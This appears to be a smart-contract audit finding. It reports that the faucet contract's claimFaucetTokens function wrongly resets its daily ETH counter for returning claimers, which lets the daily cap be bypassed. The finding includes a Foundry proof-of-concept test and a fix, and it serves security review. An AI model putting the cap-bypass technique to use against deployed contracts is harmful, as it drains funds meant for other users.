Root + Impact
Description
In claimFaucetTokens, the code zeroes the daily ETH counter whenever the caller has already claimed ETH at some point in the past (or drips are paused).
This else { dailyDrips = 0; } executes whenever the caller has hasClaimedEth == true (even if their last claim was yesterday or earlier). That erases today’s accumulated dailyDrips even if we are still within the same day, corrupting the daily cap accounting.
After the reset, subsequent first-time claimers see a “low” dailyDrips and will pass the dailyDrips + sepEthAmountToDrip <= dailySepEthCap check, allowing the faucet to distribute more ETH than the daily cap over that calendar day.
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) revert RaiseBoxFaucet_EthTransferFailed();
} else {
emit SepEthDripSkipped(...);
}
} else {
dailyDrips = 0; <@ resets within the same day for returning claimers
}
Risk
Likelihood:
In environments with multiple users (or a single attacker using multiple EOAs/contracts), repeat claims are common, so this reset will frequently occur during normal operation, not just edge cases.
Impact:
-
The faucet can exceed the configured daily Sepolia ETH cap because the cap’s accounting (dailyDrips) is wiped mid-day, allowing additional first-time claimers to receive ETH beyond the intended limit.
-
Funds exhausted earlier than intended).
Proof of Concept
Please, Paste this test function in your test file and run:
forge test test/RaiseBoxFaucet.t.sol --mt testDailyClaim -vvvv
In this test, we first accumulate dailyDrips with multiple first-time claimers, confirm it reflects the correct total, then have an already-funded claimer call again triggering the unintended reset. Finally, we show that the next first-time claimer receives ETH again (despite the cap progress), proving the daily ETH cap can be bypassed over time.
function testDailyClaim() public {
vm.startPrank(user1);
raiseBoxFaucet.claimFaucetTokens();
console.log("first claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.warp(block.timestamp + 3 days);
vm.startPrank(user3);
raiseBoxFaucet.claimFaucetTokens();
console.log("2 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user4);
raiseBoxFaucet.claimFaucetTokens();
console.log("3 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user2);
raiseBoxFaucet.claimFaucetTokens();
console.log("4 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user5);
raiseBoxFaucet.claimFaucetTokens();
console.log("5 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user6);
raiseBoxFaucet.claimFaucetTokens();
console.log("6 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user7);
raiseBoxFaucet.claimFaucetTokens();
console.log("7 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user8);
raiseBoxFaucet.claimFaucetTokens();
console.log("8 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user9);
raiseBoxFaucet.claimFaucetTokens();
console.log("9 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user10);
raiseBoxFaucet.claimFaucetTokens();
console.log("10 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user11);
raiseBoxFaucet.claimFaucetTokens();
console.log("11 claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user1);
raiseBoxFaucet.claimFaucetTokens();
console.log("reset claim:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
vm.startPrank(user12);
raiseBoxFaucet.claimFaucetTokens();
console.log("proof of bug:", raiseBoxFaucet.dailyDrips());
vm.stopPrank();
}
Recommended Mitigation
Remove the logic inside the else statement.
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0; // correct reset: only at new day
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) revert RaiseBoxFaucet_EthTransferFailed();
} else {
emit SepEthDripSkipped(...);
}
} else {
- dailyDrips = 0;
}